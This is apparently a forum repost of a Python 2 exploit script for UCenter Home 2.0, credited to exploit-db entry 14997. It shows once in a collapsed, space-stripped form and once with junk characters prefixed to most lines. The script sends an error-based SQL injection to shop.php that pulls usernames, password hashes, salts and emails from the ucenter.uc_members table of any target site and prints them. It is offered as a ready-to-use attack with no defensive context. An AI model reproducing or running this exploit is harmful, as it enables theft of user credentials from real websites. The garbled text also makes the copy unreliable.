UCenter Home 2.0 EXP

admin

#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
8 @1 E3 Y* W2 }0 m: s% q/ e

$ i, n0 k4 A+ b  t#!/usr/bin/env python  

  \, p# E6 k3 E7 P# P' Uimport sys  
7 Z3 ~- z% n" s% g& A& Ximport urllib2  
( F- H% U' H9 p) ~9 G: \: ?import re  

6 }$ E  B5 p# r, T. ]8 fdef info():  
  _. k# D: P7 C0 @9 ^    print 'From:http://www.exploit-db.com/exploits/14997/'
    print 'http://www.hake.cc/Web_loudong/'
9 M! f# }/ Q1 |    print 'changed:qiaoy'  
    print 'exp:'  
    print ' ./UCenter_Home_2.0.py site'  
/ n# K& h4 ]9 k9 D8 A, e
- E) W. `: d& O5 qdef main():  
& N9 \9 N" z3 _$ @( z5 N9 Q9 D& B    if len(sys.argv) != 2:  
6 _& z3 F' f; R; E) y        info()  
; \% r& q6 \9 O+ N2 @* ?4 w0 F, m    else:  
        site = sys.argv[1]  
2 m- ?  E6 \$ |# ]        if site[0:7] == 'http://':  
4 }1 B# a5 J, \! L9 C: Q            sitesite =site  
        elif site[0:8] == 'https://':  
2 u" q2 g5 o- ?7 g            sitesite = site  
        else:  
- K5 I" p2 n: D: |' L9 |$ V' w            site = 'http://'+site  
8 c0 I5 P3 l/ y) Y3 m- z- m2 J        try:  
- o$ H& w8 R% k* a2 D            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
; p' N: _9 z0 B4 z+ u5 i1 \            Value = urllib2.urlopen(url).read()  
2 f7 D4 `- x3 D            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
            hacked = Msg.split(':')  
; b% F5 }" g. @            print 'Name:    '+hacked[1]  
            print 'Passwd:  '+hacked[2]  
            print 'salt:    '+hacked[3]  
            print 'email:   '+hacked[4]  
. t. ]2 R$ k8 W* }- ^        except:  
- j& q( M7 p/ }  u# s! N- b, k! h            print 'Sorry,I can\'t work............'  
' B% Z, f6 \  a. k, K2 n' Q- P3 D7 Q+ O
! m9 {, M* d+ j, }, v( @& h3 j0 `if __name__ == '__main__':  
    main()